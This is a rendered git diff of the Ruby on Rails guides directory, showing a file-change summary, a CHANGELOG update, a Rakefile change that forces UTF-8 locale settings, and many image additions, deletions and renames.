aboutsummaryrefslogtreecommitdiffstats
path: root/guides
diff options
context:
space:
mode:
Diffstat (limited to 'guides')
-rw-r--r--guides/CHANGELOG.md10
-rw-r--r--guides/Rakefile23
-rw-r--r--guides/assets/images/4_0_release_notes/rails4_features.pngbin0 -> 65840 bytes
-rw-r--r--guides/assets/images/akshaysurve.jpgbin3444 -> 0 bytes
-rw-r--r--guides/assets/images/association_basics/belongs_to.pngbin0 -> 35041 bytes
-rw-r--r--guides/assets/images/association_basics/habtm.pngbin0 -> 61435 bytes
-rw-r--r--guides/assets/images/association_basics/has_many.pngbin0 -> 36233 bytes
-rw-r--r--guides/assets/images/association_basics/has_many_through.pngbin0 -> 98834 bytes
-rw-r--r--guides/assets/images/association_basics/has_one.pngbin0 -> 38222 bytes
-rw-r--r--guides/assets/images/association_basics/has_one_through.pngbin0 -> 92535 bytes
-rw-r--r--guides/assets/images/association_basics/polymorphic.pngbin0 -> 84739 bytes
-rw-r--r--guides/assets/images/belongs_to.pngbin25803 -> 0 bytes
-rw-r--r--guides/assets/images/credits_pic_blank.gifbin597 -> 0 bytes
-rw-r--r--guides/assets/images/fxn.pngbin15436 -> 0 bytes
-rw-r--r--guides/assets/images/getting_started/article_with_comments.pngbin22560 -> 13884 bytes
-rw-r--r--guides/assets/images/getting_started/challenge.pngbin21690 -> 20347 bytes
-rw-r--r--guides/assets/images/getting_started/confirm_dialog.pngbin18809 -> 17507 bytes
-rw-r--r--guides/assets/images/getting_started/forbidden_attributes_for_new_article.pngbin10783 -> 9851 bytes
-rw-r--r--guides/assets/images/getting_started/form_with_errors.pngbin12447 -> 11665 bytes
-rw-r--r--guides/assets/images/getting_started/index_action_with_edit_link.pngbin10209 -> 9703 bytes
-rw-r--r--guides/assets/images/getting_started/new_article.pngbin3579 -> 3193 bytes
-rw-r--r--guides/assets/images/getting_started/rails_welcome.pngbin1053549 -> 282547 bytes
-rw-r--r--guides/assets/images/getting_started/routing_error_no_controller.pngbin4186 -> 3869 bytes
-rw-r--r--guides/assets/images/getting_started/routing_error_no_route_matches.pngbin5913 -> 0 bytes
-rw-r--r--guides/assets/images/getting_started/show_action_for_articles.pngbin2965 -> 2901 bytes
-rw-r--r--guides/assets/images/getting_started/template_is_missing_articles_new.pngbin587962 -> 472167 bytes
-rw-r--r--guides/assets/images/getting_started/unknown_action_create_for_articles.pngbin5327 -> 4808 bytes
-rw-r--r--guides/assets/images/getting_started/unknown_action_new_for_articles.pngbin5481 -> 4933 bytes
-rw-r--r--guides/assets/images/habtm.pngbin49332 -> 0 bytes
-rw-r--r--guides/assets/images/has_many.pngbin28919 -> 0 bytes
-rw-r--r--guides/assets/images/has_many_through.pngbin79428 -> 0 bytes
-rw-r--r--guides/assets/images/has_one.pngbin29072 -> 0 bytes
-rw-r--r--guides/assets/images/has_one_through.pngbin72434 -> 0 bytes
-rw-r--r--guides/assets/images/header_backdrop.pngbin224 -> 0 bytes
-rw-r--r--guides/assets/images/i18n/demo_html_safe.pngbin10073 -> 9860 bytes
-rw-r--r--guides/assets/images/i18n/demo_localized_pirate.pngbin11485 -> 11214 bytes
-rw-r--r--guides/assets/images/i18n/demo_translated_en.pngbin9325 -> 9069 bytes
-rw-r--r--guides/assets/images/i18n/demo_translated_pirate.pngbin10202 -> 9974 bytes
-rw-r--r--guides/assets/images/i18n/demo_translation_missing.pngbin10260 -> 9984 bytes
-rw-r--r--guides/assets/images/i18n/demo_untranslated.pngbin9224 -> 8985 bytes
-rw-r--r--guides/assets/images/icons/README5
-rw-r--r--guides/assets/images/icons/callouts/1.pngbin147 -> 0 bytes
-rw-r--r--guides/assets/images/icons/callouts/10.pngbin183 -> 0 bytes
-rw-r--r--guides/assets/images/icons/callouts/11.pngbin176 -> 0 bytes
-rw-r--r--guides/assets/images/icons/callouts/12.pngbin186 -> 0 bytes
-rw-r--r--guides/assets/images/icons/callouts/13.pngbin188 -> 0 bytes
-rw-r--r--guides/assets/images/icons/callouts/14.pngbin246 -> 0 bytes
-rw-r--r--guides/assets/images/icons/callouts/15.pngbin191 -> 0 bytes
-rw-r--r--guides/assets/images/icons/callouts/2.pngbin168 -> 0 bytes
-rw-r--r--guides/assets/images/icons/callouts/3.pngbin170 -> 0 bytes
-rw-r--r--guides/assets/images/icons/callouts/4.pngbin165 -> 0 bytes
-rw-r--r--guides/assets/images/icons/callouts/5.pngbin169 -> 0 bytes
-rw-r--r--guides/assets/images/icons/callouts/6.pngbin176 -> 0 bytes
-rw-r--r--guides/assets/images/icons/callouts/7.pngbin160 -> 0 bytes
-rw-r--r--guides/assets/images/icons/callouts/8.pngbin176 -> 0 bytes
-rw-r--r--guides/assets/images/icons/callouts/9.pngbin177 -> 0 bytes
-rw-r--r--guides/assets/images/icons/caution.pngbin2295 -> 0 bytes
-rw-r--r--guides/assets/images/icons/example.pngbin2078 -> 0 bytes
-rw-r--r--guides/assets/images/icons/home.pngbin1163 -> 0 bytes
-rw-r--r--guides/assets/images/icons/important.pngbin2451 -> 0 bytes
-rw-r--r--guides/assets/images/icons/next.pngbin1146 -> 0 bytes
-rw-r--r--guides/assets/images/icons/note.pngbin2155 -> 0 bytes
-rw-r--r--guides/assets/images/icons/prev.pngbin1126 -> 0 bytes
-rw-r--r--guides/assets/images/icons/tip.pngbin2248 -> 0 bytes
-rw-r--r--guides/assets/images/icons/up.pngbin1133 -> 0 bytes
-rw-r--r--guides/assets/images/icons/warning.pngbin2616 -> 0 bytes
-rw-r--r--guides/assets/images/oscardelben.jpgbin6299 -> 0 bytes
-rw-r--r--guides/assets/images/polymorphic.pngbin66415 -> 0 bytes
-rw-r--r--guides/assets/images/radar.pngbin17095 -> 0 bytes
-rw-r--r--guides/assets/images/rails4_features.pngbin67766 -> 0 bytes
-rw-r--r--guides/assets/images/rails_logo_remix.gifbin8533 -> 0 bytes
-rw-r--r--guides/assets/images/security/csrf.png (renamed from guides/assets/images/csrf.png)bin32179 -> 32179 bytes
-rw-r--r--guides/assets/images/security/session_fixation.pngbin0 -> 38296 bytes
-rw-r--r--guides/assets/images/session_fixation.pngbin38451 -> 0 bytes
-rw-r--r--guides/assets/images/tab_yellow.pngbin1441 -> 0 bytes
-rw-r--r--guides/assets/images/vijaydev.jpgbin2897 -> 0 bytes
-rw-r--r--guides/assets/javascripts/guides.js110
-rw-r--r--guides/assets/javascripts/jquery.min.js4
-rw-r--r--guides/assets/javascripts/responsive-tables.js79
-rw-r--r--guides/assets/javascripts/turbolinks.js6
-rw-r--r--guides/assets/stylesheets/main.css37
-rw-r--r--guides/assets/stylesheets/print.css2
-rw-r--r--guides/assets/stylesheets/responsive-tables.css50
-rw-r--r--guides/assets/stylesheets/style.css1
-rw-r--r--guides/assets/stylesheets/turbolinks.css3
-rw-r--r--guides/bug_report_templates/action_controller_gem.rb12
-rw-r--r--guides/bug_report_templates/action_controller_master.rb8
-rw-r--r--guides/bug_report_templates/active_job_gem.rb9
-rw-r--r--guides/bug_report_templates/active_job_master.rb7
-rw-r--r--guides/bug_report_templates/active_record_gem.rb9
-rw-r--r--guides/bug_report_templates/active_record_master.rb5
-rw-r--r--guides/bug_report_templates/active_record_migrations_gem.rb17
-rw-r--r--guides/bug_report_templates/active_record_migrations_master.rb15
-rw-r--r--guides/bug_report_templates/benchmark.rb5
-rw-r--r--guides/bug_report_templates/generic_gem.rb10
-rw-r--r--guides/bug_report_templates/generic_master.rb5
-rw-r--r--guides/rails_guides.rb2
-rw-r--r--guides/rails_guides/generator.rb56
-rw-r--r--guides/rails_guides/helpers.rb13
-rw-r--r--guides/rails_guides/indexer.rb2
-rw-r--r--guides/rails_guides/kindle.rb7
-rw-r--r--guides/rails_guides/levenshtein.rb8
-rw-r--r--guides/rails_guides/markdown.rb10
-rw-r--r--guides/rails_guides/markdown/renderer.rb28
-rw-r--r--guides/source/2_2_release_notes.md15
-rw-r--r--guides/source/2_3_release_notes.md30
-rw-r--r--guides/source/3_0_release_notes.md16
-rw-r--r--guides/source/3_1_release_notes.md4
-rw-r--r--guides/source/3_2_release_notes.md12
-rw-r--r--guides/source/4_0_release_notes.md14
-rw-r--r--guides/source/4_1_release_notes.md6
-rw-r--r--guides/source/4_2_release_notes.md10
-rw-r--r--guides/source/5_0_release_notes.md20
-rw-r--r--guides/source/5_1_release_notes.md659
-rw-r--r--guides/source/5_2_release_notes.md861
-rw-r--r--guides/source/6_0_release_notes.md175
-rw-r--r--guides/source/_welcome.html.erb19
-rw-r--r--guides/source/action_cable_overview.md33
-rw-r--r--guides/source/action_controller_overview.md129
-rw-r--r--guides/source/action_mailer_basics.md164
-rw-r--r--guides/source/action_view_overview.md82
-rw-r--r--guides/source/active_job_basics.md144
-rw-r--r--guides/source/active_model_basics.md83
-rw-r--r--guides/source/active_record_basics.md42
-rw-r--r--guides/source/active_record_callbacks.md63
-rw-r--r--guides/source/active_record_migrations.md171
-rw-r--r--guides/source/active_record_postgresql.md57
-rw-r--r--guides/source/active_record_querying.md94
-rw-r--r--guides/source/active_record_validations.md40
-rw-r--r--guides/source/active_storage_overview.md755
-rw-r--r--guides/source/active_support_core_extensions.md557
-rw-r--r--guides/source/active_support_instrumentation.md177
-rw-r--r--guides/source/api_app.md47
-rw-r--r--guides/source/api_documentation_guidelines.md22
-rw-r--r--guides/source/asset_pipeline.md101
-rw-r--r--guides/source/association_basics.md158
-rw-r--r--guides/source/autoloading_and_reloading_constants.md136
-rw-r--r--guides/source/caching_with_rails.md134
-rw-r--r--guides/source/command_line.md305
-rw-r--r--guides/source/configuring.md262
-rw-r--r--guides/source/contributing_to_ruby_on_rails.md95
-rw-r--r--guides/source/credits.html.erb80
-rw-r--r--guides/source/debugging_rails_applications.md63
-rw-r--r--guides/source/development_dependencies_install.md136
-rw-r--r--guides/source/documents.yaml55
-rw-r--r--guides/source/engines.md189
-rw-r--r--guides/source/form_helpers.md388
-rw-r--r--guides/source/generators.md62
-rw-r--r--guides/source/getting_started.md329
-rw-r--r--guides/source/i18n.md107
-rw-r--r--guides/source/index.html.erb4
-rw-r--r--guides/source/initialization.md29
-rw-r--r--guides/source/kindle/rails_guides.opf.erb3
-rw-r--r--guides/source/kindle/toc.html.erb3
-rw-r--r--guides/source/kindle/toc.ncx.erb4
-rw-r--r--guides/source/layout.html.erb55
-rw-r--r--guides/source/layouts_and_rendering.md62
-rw-r--r--guides/source/maintenance_policy.md10
-rw-r--r--guides/source/nested_model_forms.md230
-rw-r--r--guides/source/plugins.md87
-rw-r--r--guides/source/profiling.md16
-rw-r--r--guides/source/rails_application_templates.md16
-rw-r--r--guides/source/rails_on_rack.md58
-rw-r--r--guides/source/routing.md142
-rw-r--r--guides/source/ruby_on_rails_guides_guidelines.md2
-rw-r--r--guides/source/security.md399
-rw-r--r--guides/source/testing.md324
-rw-r--r--guides/source/threading_and_code_execution.md324
-rw-r--r--guides/source/upgrading_ruby_on_rails.md173
-rw-r--r--guides/source/working_with_javascript_in_rails.md225
-rw-r--r--guides/w3c_validator.rb2
171 files changed, 6928 insertions, 2899 deletions
diff --git a/guides/CHANGELOG.md b/guides/CHANGELOG.md
index 3a602efb3d..516b643cb8 100644
--- a/guides/CHANGELOG.md
+++ b/guides/CHANGELOG.md
@@ -1,6 +1,10 @@
-## Rails 5.1.0.beta1 (February 23, 2017) ##
+* New section _Troubleshooting_ in the _Autoloading and Reloading Constants_ guide.
-* No changes.
+ *Xavier Noria*
+* Rails 6 requires Ruby 2.4.1 or newer.
-Please check [5-0-stable](https://github.com/rails/rails/blob/5-0-stable/guides/CHANGELOG.md) for previous changes.
+ *Jeremy Daer*
+
+
+Please check [5-2-stable](https://github.com/rails/rails/blob/5-2-stable/guides/CHANGELOG.md) for previous changes.
diff --git a/guides/Rakefile b/guides/Rakefile
index ccb42f3273..4116e6f9cc 100644
--- a/guides/Rakefile
+++ b/guides/Rakefile
@@ -1,21 +1,36 @@
+# frozen_string_literal: true
+
namespace :guides do
desc 'Generate guides (for authors), use ONLY=foo to process just "foo.md"'
task generate: "generate:html"
+ # Guides are written in UTF-8, but the environment may be configured for some
+ # other locale, these tasks are responsible for ensuring the default external
+ # encoding is UTF-8.
+ #
+ # Real use cases: Generation was reported to fail on a machine configured with
+ # GBK (Chinese). The docs server once got misconfigured somehow and had "C",
+ # which broke generation too.
+ task :encoding do
+ %w(LANG LANGUAGE LC_ALL).each do |env_var|
+ ENV[env_var] = "en_US.UTF-8"
+ end
+ end
+
namespace :generate do
desc "Generate HTML guides"
- task :html do
+ task html: :encoding do
ENV["WARNINGS"] = "1" # authors can't disable this
ruby "rails_guides.rb"
end
desc "Generate .mobi file. The kindlegen executable must be in your PATH. You can get it for free from http://www.amazon.com/gp/feature.html?docId=1000765211"
- task :kindle do
+ task kindle: :encoding do
require "kindlerb"
unless Kindlerb.kindlegen_available?
abort "Please run `setupkindlerb` to install kindlegen"
end
- unless `convert` =~ /convert/
+ unless /convert/.match?(`convert`)
abort "Please install ImageMagick"
end
ENV["KINDLE"] = "1"
@@ -25,7 +40,7 @@ namespace :guides do
# Validate guides -------------------------------------------------------------------------
desc 'Validate guides, use ONLY=foo to process just "foo.html"'
- task :validate do
+ task validate: :encoding do
ruby "w3c_validator.rb"
end
diff --git a/guides/assets/images/4_0_release_notes/rails4_features.png b/guides/assets/images/4_0_release_notes/rails4_features.png
new file mode 100644
index 0000000000..ac73f05cf7
--- /dev/null
+++ b/guides/assets/images/4_0_release_notes/rails4_features.png
Binary files differ
diff --git a/guides/assets/images/akshaysurve.jpg b/guides/assets/images/akshaysurve.jpg
deleted file mode 100644
index cfc3333958..0000000000
--- a/guides/assets/images/akshaysurve.jpg
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/association_basics/belongs_to.png b/guides/assets/images/association_basics/belongs_to.png
new file mode 100644
index 0000000000..2b8c1d52ea
--- /dev/null
+++ b/guides/assets/images/association_basics/belongs_to.png
Binary files differ
diff --git a/guides/assets/images/association_basics/habtm.png b/guides/assets/images/association_basics/habtm.png
new file mode 100644
index 0000000000..7e508cc1a6
--- /dev/null
+++ b/guides/assets/images/association_basics/habtm.png
Binary files differ
diff --git a/guides/assets/images/association_basics/has_many.png b/guides/assets/images/association_basics/has_many.png
new file mode 100644
index 0000000000..36ccf9f0f6
--- /dev/null
+++ b/guides/assets/images/association_basics/has_many.png
Binary files differ
diff --git a/guides/assets/images/association_basics/has_many_through.png b/guides/assets/images/association_basics/has_many_through.png
new file mode 100644
index 0000000000..9e9caabd73
--- /dev/null
+++ b/guides/assets/images/association_basics/has_many_through.png
Binary files differ
diff --git a/guides/assets/images/association_basics/has_one.png b/guides/assets/images/association_basics/has_one.png
new file mode 100644
index 0000000000..c29c6b9c59
--- /dev/null
+++ b/guides/assets/images/association_basics/has_one.png
Binary files differ
diff --git a/guides/assets/images/association_basics/has_one_through.png b/guides/assets/images/association_basics/has_one_through.png
new file mode 100644
index 0000000000..fdf13286c4
--- /dev/null
+++ b/guides/assets/images/association_basics/has_one_through.png
Binary files differ
diff --git a/guides/assets/images/association_basics/polymorphic.png b/guides/assets/images/association_basics/polymorphic.png
new file mode 100644
index 0000000000..d630db9e01
--- /dev/null
+++ b/guides/assets/images/association_basics/polymorphic.png
Binary files differ
diff --git a/guides/assets/images/belongs_to.png b/guides/assets/images/belongs_to.png
deleted file mode 100644
index 077d237e4e..0000000000
--- a/guides/assets/images/belongs_to.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/credits_pic_blank.gif b/guides/assets/images/credits_pic_blank.gif
deleted file mode 100644
index a6b335d0c9..0000000000
--- a/guides/assets/images/credits_pic_blank.gif
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/fxn.png b/guides/assets/images/fxn.png
deleted file mode 100644
index 733d380cba..0000000000
--- a/guides/assets/images/fxn.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/getting_started/article_with_comments.png b/guides/assets/images/getting_started/article_with_comments.png
index c489e4c00e..3f16f3b280 100644
--- a/guides/assets/images/getting_started/article_with_comments.png
+++ b/guides/assets/images/getting_started/article_with_comments.png
Binary files differ
diff --git a/guides/assets/images/getting_started/challenge.png b/guides/assets/images/getting_started/challenge.png
index 5b88a842b2..d05ef31bbe 100644
--- a/guides/assets/images/getting_started/challenge.png
+++ b/guides/assets/images/getting_started/challenge.png
Binary files differ
diff --git a/guides/assets/images/getting_started/confirm_dialog.png b/guides/assets/images/getting_started/confirm_dialog.png
index 9755f581a6..ce65734e6c 100644
--- a/guides/assets/images/getting_started/confirm_dialog.png
+++ b/guides/assets/images/getting_started/confirm_dialog.png
Binary files differ
diff --git a/guides/assets/images/getting_started/forbidden_attributes_for_new_article.png b/guides/assets/images/getting_started/forbidden_attributes_for_new_article.png
index 9f32c68472..50b178808e 100644
--- a/guides/assets/images/getting_started/forbidden_attributes_for_new_article.png
+++ b/guides/assets/images/getting_started/forbidden_attributes_for_new_article.png
Binary files differ
diff --git a/guides/assets/images/getting_started/form_with_errors.png b/guides/assets/images/getting_started/form_with_errors.png
index 98bff37d4a..6eefd2885a 100644
--- a/guides/assets/images/getting_started/form_with_errors.png
+++ b/guides/assets/images/getting_started/form_with_errors.png
Binary files differ
diff --git a/guides/assets/images/getting_started/index_action_with_edit_link.png b/guides/assets/images/getting_started/index_action_with_edit_link.png
index 0566a3ffde..a2a087a598 100644
--- a/guides/assets/images/getting_started/index_action_with_edit_link.png
+++ b/guides/assets/images/getting_started/index_action_with_edit_link.png
Binary files differ
diff --git a/guides/assets/images/getting_started/new_article.png b/guides/assets/images/getting_started/new_article.png
index bd3ae4fa67..6edcc161b6 100644
--- a/guides/assets/images/getting_started/new_article.png
+++ b/guides/assets/images/getting_started/new_article.png
Binary files differ
diff --git a/guides/assets/images/getting_started/rails_welcome.png b/guides/assets/images/getting_started/rails_welcome.png
index baccb11322..88efe34a9d 100644
--- a/guides/assets/images/getting_started/rails_welcome.png
+++ b/guides/assets/images/getting_started/rails_welcome.png
Binary files differ
diff --git a/guides/assets/images/getting_started/routing_error_no_controller.png b/guides/assets/images/getting_started/routing_error_no_controller.png
index ed62862291..52150f0426 100644
--- a/guides/assets/images/getting_started/routing_error_no_controller.png
+++ b/guides/assets/images/getting_started/routing_error_no_controller.png
Binary files differ
diff --git a/guides/assets/images/getting_started/routing_error_no_route_matches.png b/guides/assets/images/getting_started/routing_error_no_route_matches.png
deleted file mode 100644
index 08c54f921f..0000000000
--- a/guides/assets/images/getting_started/routing_error_no_route_matches.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/getting_started/show_action_for_articles.png b/guides/assets/images/getting_started/show_action_for_articles.png
index 4dad704f89..68837131f7 100644
--- a/guides/assets/images/getting_started/show_action_for_articles.png
+++ b/guides/assets/images/getting_started/show_action_for_articles.png
Binary files differ
diff --git a/guides/assets/images/getting_started/template_is_missing_articles_new.png b/guides/assets/images/getting_started/template_is_missing_articles_new.png
index f4f054f3c6..a1603f5d28 100644
--- a/guides/assets/images/getting_started/template_is_missing_articles_new.png
+++ b/guides/assets/images/getting_started/template_is_missing_articles_new.png
Binary files differ
diff --git a/guides/assets/images/getting_started/unknown_action_create_for_articles.png b/guides/assets/images/getting_started/unknown_action_create_for_articles.png
index fd20cd53dc..ec4758e085 100644
--- a/guides/assets/images/getting_started/unknown_action_create_for_articles.png
+++ b/guides/assets/images/getting_started/unknown_action_create_for_articles.png
Binary files differ
diff --git a/guides/assets/images/getting_started/unknown_action_new_for_articles.png b/guides/assets/images/getting_started/unknown_action_new_for_articles.png
index e948a51e4a..f7e7464d61 100644
--- a/guides/assets/images/getting_started/unknown_action_new_for_articles.png
+++ b/guides/assets/images/getting_started/unknown_action_new_for_articles.png
Binary files differ
diff --git a/guides/assets/images/habtm.png b/guides/assets/images/habtm.png
deleted file mode 100644
index b062bc73fe..0000000000
--- a/guides/assets/images/habtm.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/has_many.png b/guides/assets/images/has_many.png
deleted file mode 100644
index 79da2613d7..0000000000
--- a/guides/assets/images/has_many.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/has_many_through.png b/guides/assets/images/has_many_through.png
deleted file mode 100644
index 858c898dc1..0000000000
--- a/guides/assets/images/has_many_through.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/has_one.png b/guides/assets/images/has_one.png
deleted file mode 100644
index 93faa05b07..0000000000
--- a/guides/assets/images/has_one.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/has_one_through.png b/guides/assets/images/has_one_through.png
deleted file mode 100644
index 07dac1a27d..0000000000
--- a/guides/assets/images/has_one_through.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/header_backdrop.png b/guides/assets/images/header_backdrop.png
deleted file mode 100644
index 72b030478f..0000000000
--- a/guides/assets/images/header_backdrop.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/i18n/demo_html_safe.png b/guides/assets/images/i18n/demo_html_safe.png
index 9afa8ebec1..be75d4830e 100644
--- a/guides/assets/images/i18n/demo_html_safe.png
+++ b/guides/assets/images/i18n/demo_html_safe.png
Binary files differ
diff --git a/guides/assets/images/i18n/demo_localized_pirate.png b/guides/assets/images/i18n/demo_localized_pirate.png
index bf8d0b558c..528cc27900 100644
--- a/guides/assets/images/i18n/demo_localized_pirate.png
+++ b/guides/assets/images/i18n/demo_localized_pirate.png
Binary files differ
diff --git a/guides/assets/images/i18n/demo_translated_en.png b/guides/assets/images/i18n/demo_translated_en.png
index e887bfa306..bbb5e93c3a 100644
--- a/guides/assets/images/i18n/demo_translated_en.png
+++ b/guides/assets/images/i18n/demo_translated_en.png
Binary files differ
diff --git a/guides/assets/images/i18n/demo_translated_pirate.png b/guides/assets/images/i18n/demo_translated_pirate.png
index aa5618a865..305fa93a14 100644
--- a/guides/assets/images/i18n/demo_translated_pirate.png
+++ b/guides/assets/images/i18n/demo_translated_pirate.png
Binary files differ
diff --git a/guides/assets/images/i18n/demo_translation_missing.png b/guides/assets/images/i18n/demo_translation_missing.png
index 867aa7c42d..e9833ba307 100644
--- a/guides/assets/images/i18n/demo_translation_missing.png
+++ b/guides/assets/images/i18n/demo_translation_missing.png
Binary files differ
diff --git a/guides/assets/images/i18n/demo_untranslated.png b/guides/assets/images/i18n/demo_untranslated.png
index 2ea6404822..2653abc491 100644
--- a/guides/assets/images/i18n/demo_untranslated.png
+++ b/guides/assets/images/i18n/demo_untranslated.png
Binary files differ
diff --git a/guides/assets/images/icons/README b/guides/assets/images/icons/README
deleted file mode 100644
index 09da77fc86..0000000000
--- a/guides/assets/images/icons/README
+++ /dev/null
@@ -1,5 +0,0 @@
-Replaced the plain DocBook XSL admonition icons with Jimmac's DocBook
-icons (http://jimmac.musichall.cz/ikony.php3). I dropped transparency
-from the Jimmac icons to get round MS IE and FOP PNG incompatibilities.
-
-Stuart Rackham
diff --git a/guides/assets/images/icons/callouts/1.png b/guides/assets/images/icons/callouts/1.png
deleted file mode 100644
index c5d02adcf4..0000000000
--- a/guides/assets/images/icons/callouts/1.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/icons/callouts/10.png b/guides/assets/images/icons/callouts/10.png
deleted file mode 100644
index fe89f9ef83..0000000000
--- a/guides/assets/images/icons/callouts/10.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/icons/callouts/11.png b/guides/assets/images/icons/callouts/11.png
deleted file mode 100644
index 3b7b9318e7..0000000000
--- a/guides/assets/images/icons/callouts/11.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/icons/callouts/12.png b/guides/assets/images/icons/callouts/12.png
deleted file mode 100644
index 7b95925e9d..0000000000
--- a/guides/assets/images/icons/callouts/12.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/icons/callouts/13.png b/guides/assets/images/icons/callouts/13.png
deleted file mode 100644
index 4b99fe8efc..0000000000
--- a/guides/assets/images/icons/callouts/13.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/icons/callouts/14.png b/guides/assets/images/icons/callouts/14.png
deleted file mode 100644
index 4274e6580a..0000000000
--- a/guides/assets/images/icons/callouts/14.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/icons/callouts/15.png b/guides/assets/images/icons/callouts/15.png
deleted file mode 100644
index 70e4bba615..0000000000
--- a/guides/assets/images/icons/callouts/15.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/icons/callouts/2.png b/guides/assets/images/icons/callouts/2.png
deleted file mode 100644
index 8c57970ba9..0000000000
--- a/guides/assets/images/icons/callouts/2.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/icons/callouts/3.png b/guides/assets/images/icons/callouts/3.png
deleted file mode 100644
index 57a33d15b4..0000000000
--- a/guides/assets/images/icons/callouts/3.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/icons/callouts/4.png b/guides/assets/images/icons/callouts/4.png
deleted file mode 100644
index f061ab02b8..0000000000
--- a/guides/assets/images/icons/callouts/4.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/icons/callouts/5.png b/guides/assets/images/icons/callouts/5.png
deleted file mode 100644
index b4de02da11..0000000000
--- a/guides/assets/images/icons/callouts/5.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/icons/callouts/6.png b/guides/assets/images/icons/callouts/6.png
deleted file mode 100644
index 0e055eec1e..0000000000
--- a/guides/assets/images/icons/callouts/6.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/icons/callouts/7.png b/guides/assets/images/icons/callouts/7.png
deleted file mode 100644
index 5ead87d040..0000000000
--- a/guides/assets/images/icons/callouts/7.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/icons/callouts/8.png b/guides/assets/images/icons/callouts/8.png
deleted file mode 100644
index cb99545eb6..0000000000
--- a/guides/assets/images/icons/callouts/8.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/icons/callouts/9.png b/guides/assets/images/icons/callouts/9.png
deleted file mode 100644
index 0ac03602f6..0000000000
--- a/guides/assets/images/icons/callouts/9.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/icons/caution.png b/guides/assets/images/icons/caution.png
deleted file mode 100644
index 7227b54b32..0000000000
--- a/guides/assets/images/icons/caution.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/icons/example.png b/guides/assets/images/icons/example.png
deleted file mode 100644
index de23c0aa87..0000000000
--- a/guides/assets/images/icons/example.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/icons/home.png b/guides/assets/images/icons/home.png
deleted file mode 100644
index 24149d6e78..0000000000
--- a/guides/assets/images/icons/home.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/icons/important.png b/guides/assets/images/icons/important.png
deleted file mode 100644
index dafcf0f59e..0000000000
--- a/guides/assets/images/icons/important.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/icons/next.png b/guides/assets/images/icons/next.png
deleted file mode 100644
index 355b329f5a..0000000000
--- a/guides/assets/images/icons/next.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/icons/note.png b/guides/assets/images/icons/note.png
deleted file mode 100644
index 08d35a6f5c..0000000000
--- a/guides/assets/images/icons/note.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/icons/prev.png b/guides/assets/images/icons/prev.png
deleted file mode 100644
index ea564c865e..0000000000
--- a/guides/assets/images/icons/prev.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/icons/tip.png b/guides/assets/images/icons/tip.png
deleted file mode 100644
index d834e6d1bb..0000000000
--- a/guides/assets/images/icons/tip.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/icons/up.png b/guides/assets/images/icons/up.png
deleted file mode 100644
index 379f0045af..0000000000
--- a/guides/assets/images/icons/up.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/icons/warning.png b/guides/assets/images/icons/warning.png
deleted file mode 100644
index 72a8a5d873..0000000000
--- a/guides/assets/images/icons/warning.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/oscardelben.jpg b/guides/assets/images/oscardelben.jpg
deleted file mode 100644
index 9f3f67c2c7..0000000000
--- a/guides/assets/images/oscardelben.jpg
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/polymorphic.png b/guides/assets/images/polymorphic.png
deleted file mode 100644
index a3cbc4502a..0000000000
--- a/guides/assets/images/polymorphic.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/radar.png b/guides/assets/images/radar.png
deleted file mode 100644
index 421b62b623..0000000000
--- a/guides/assets/images/radar.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/rails4_features.png b/guides/assets/images/rails4_features.png
deleted file mode 100644
index b3bd5ef69e..0000000000
--- a/guides/assets/images/rails4_features.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/rails_logo_remix.gif b/guides/assets/images/rails_logo_remix.gif
deleted file mode 100644
index 58960ee4f9..0000000000
--- a/guides/assets/images/rails_logo_remix.gif
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/csrf.png b/guides/assets/images/security/csrf.png
index a8123d47c3..a8123d47c3 100644
--- a/guides/assets/images/csrf.png
+++ b/guides/assets/images/security/csrf.png
Binary files differ
diff --git a/guides/assets/images/security/session_fixation.png b/guides/assets/images/security/session_fixation.png
new file mode 100644
index 0000000000..e009484f09
--- /dev/null
+++ b/guides/assets/images/security/session_fixation.png
Binary files differ
diff --git a/guides/assets/images/session_fixation.png b/guides/assets/images/session_fixation.png
deleted file mode 100644
index ac3ab01614..0000000000
--- a/guides/assets/images/session_fixation.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/tab_yellow.png b/guides/assets/images/tab_yellow.png
deleted file mode 100644
index 3ab1c56c4d..0000000000
